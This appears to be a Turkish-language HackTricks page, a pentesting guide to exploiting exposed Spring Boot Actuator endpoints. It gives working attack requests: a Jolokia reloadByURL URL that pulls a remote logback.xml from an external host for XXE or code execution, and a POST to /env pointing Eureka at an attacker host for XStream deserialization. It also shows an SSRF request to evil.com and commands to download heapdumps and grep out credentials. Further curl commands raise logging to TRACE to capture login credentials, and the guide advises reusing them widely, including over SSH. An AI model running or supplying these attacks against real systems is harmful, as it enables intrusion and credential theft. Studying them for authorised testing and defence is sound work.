Spring Actuator'ları
Reading time: 6 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Spring Auth Bypass
.png)
Kaynak https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png
Spring Boot Actuator'larının Sömürülmesi
Orijinal gönderiyi kontrol edin: https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
Önemli Noktalar:
- Spring Boot Actuator'lar
/health
,/trace
,/beans
,/env
vb. gibi endpoint'leri kaydeder. 1 ile 1.4 sürümlerinde bu endpoint'ler kimlik doğrulama olmadan erişilebilirdir. 1.5 ve sonrası sürümlerde varsayılan olarak sadece/health
ve/info
non-sensitive (duyarlı olmayan) olarak kalır, fakat geliştiriciler genellikle bu güvenliği devre dışı bırakır. - Belirli Actuator endpoint'leri hassas verileri açığa çıkarabilir veya zararlı işlemlere izin verebilir:
/dump
,/trace
,/logfile
,/shutdown
,/mappings
,/env
,/actuator/env
,/restart
, ve/heapdump
.- Spring Boot 1.x'te actuator'lar root URL altında kayıtlı iken, 2.x'te
/actuator/
base path'i altında bulunur.
Sömürme Teknikleri:
- Remote Code Execution via '/jolokia':
/jolokia
actuator endpoint'i Jolokia Library'yi açığa çıkarır; bu, MBeans'e HTTP erişimine izin verir.reloadByURL
action'ı, logging yapılandırmalarını harici bir URL'den yeniden yüklemek için kötüye kullanılabilir; bu, craft edilmiş XML konfigürasyonları aracılığıyla blind XXE veya Remote Code Execution'a yol açabilir.- Örnek exploit URL:
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
.
- Config Modification via '/env':
- Eğer Spring Cloud Libraries bulunuyorsa,
/env
endpoint'i ortam (environment) property'lerinin değiştirilmesine izin verir. - Property'ler, örneğin Eureka serviceURL'deki XStream deserialization zafiyeti gibi açıkları tetiklemek için manipüle edilebilir.
- Örnek exploit POST isteği:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
- Diğer Yararlı Ayarlar:
spring.datasource.tomcat.validationQuery
,spring.datasource.tomcat.url
vespring.datasource.tomcat.max-active
gibi property'ler SQL injection veya veritabanı bağlantı string'lerini değiştirme gibi çeşitli istismarlar için manipüle edilebilir.
Ek Bilgiler:
- Varsayılan actuator'ların kapsamlı bir listesi şurada bulunabilir: https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt
- Spring Boot 2.x'teki
/env
endpoint'i property değişiklikleri için JSON formatını kullanır; fakat genel kavram aynıdır.
İlgili Konular:
- Env + H2 RCE:
/env
endpoint'i ile H2 veritabanının kombinasyonunu kullanarak istismar detayları şurada bulunabilir: https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database
- SSRF on Spring Boot Through Incorrect Pathname Interpretation:
- Spring framework'ünün HTTP pathnames içinde matrix parametreleri (
;
) işlemesi yanlış yorumlanırsa Server-Side Request Forgery (SSRF) için kullanılabilir. - Örnek exploit isteği:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
HeapDump secrets mining (credentials, tokens, internal URLs)
Eğer /actuator/heapdump
erişilebiliyorsa, genellikle canlı secret'lar (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps vb.) içeren tam bir JVM heap snapshot'ı alabilirsiniz.
- İndir ve hızlı ön inceleme:
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
- Daha derin analiz için VisualVM ve OQL:
- Heapdump'ı VisualVM ile açın,
java.lang.String
örneklerini inceleyin veya secret avlamak için OQL çalıştırın:
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
- Otomatik çıkartma için JDumpSpider:
java -jar JDumpSpider-*.jar heapdump
Tipik yüksek değerli bulgular:
DataSourceProperties
/HikariDataSource
gibi Spring nesneleriurl
,username
,password
bilgilerini açığa çıkarabilir.OriginTrackedMapPropertySource
girdilerimanagement.endpoints.web.exposure.include
, servis portları ve URL'lerde gömülü Basic-Auth (ör. EurekadefaultZone
) gibi bilgileri ortaya çıkarır.- Bellekte yakalanmış
Authorization: Basic ...
içeren düz HTTP istek/yanıt parçacıkları.
İpuçları:
- Actuator endpoint'lerini hızlıca keşfetmek için Spring odaklı bir wordlist kullanın (ör. SecLists spring-boot.txt) ve ayrıca
/actuator/logfile
,/actuator/httpexchanges
,/actuator/env
ve/actuator/configprops
'un da açık olup olmadığını kontrol edin. - Heapdump'tan elde edilen credentials genellikle bitişik servislerde ve bazen sistem kullanıcılarında (SSH) da işe yarar; bu yüzden geniş çapta deneyin.
Abusing Actuator loggers/logging to capture credentials
Eğer management.endpoints.web.exposure.include
izin veriyorsa ve /actuator/loggers
erişilebiliyorsa, kimlik doğrulama ve istek işleme paketleri için dinamik olarak log seviyesini DEBUG/TRACE'e yükseltebilirsiniz. Okunabilir loglarla ( /actuator/logfile
veya bilinen log yolları aracılığıyla) birleştiğinde, bu giriş akışlarında gönderilen credentials'ların (ör. Basic-Auth header'ları veya form parametreleri) sızmasına neden olabilir.
- Duyarlı logger'ları listeleyip yüksek seviyeye çıkarma:
# List available loggers
curl -s http://target/actuator/loggers | jq .
# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
- Logların nerelere yazıldığını bulup toplama:
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
- Giriş/kimlik doğrulama trafiğini tetikleyin ve loglarda credential'ları parse edin. Bir gateway'in auth önünde olduğu mikroservis kurulumlarında, gateway/security paketleri için TRACE açmak genellikle header'ları ve form gövdelerini görünür kılar. Bazı ortamlarda periyodik olarak sentetik login trafiği üretilir; bu durumda verbose logging etkinleştirildiğinde toplama çok kolaylaşır.
Notlar:
- İş bitince log seviyelerini sıfırlayın:
POST /actuator/loggers/<logger>
ile{ "configuredLevel": null }
. /actuator/httpexchanges
erişilebiliyorsa, hassas header'lar da dahil olmak üzere son istek meta verilerini gösterebilir.
References
- Exploring Spring Boot Actuator Misconfigurations (Wiz)
- VisualVM
- JDumpSpider
- 0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.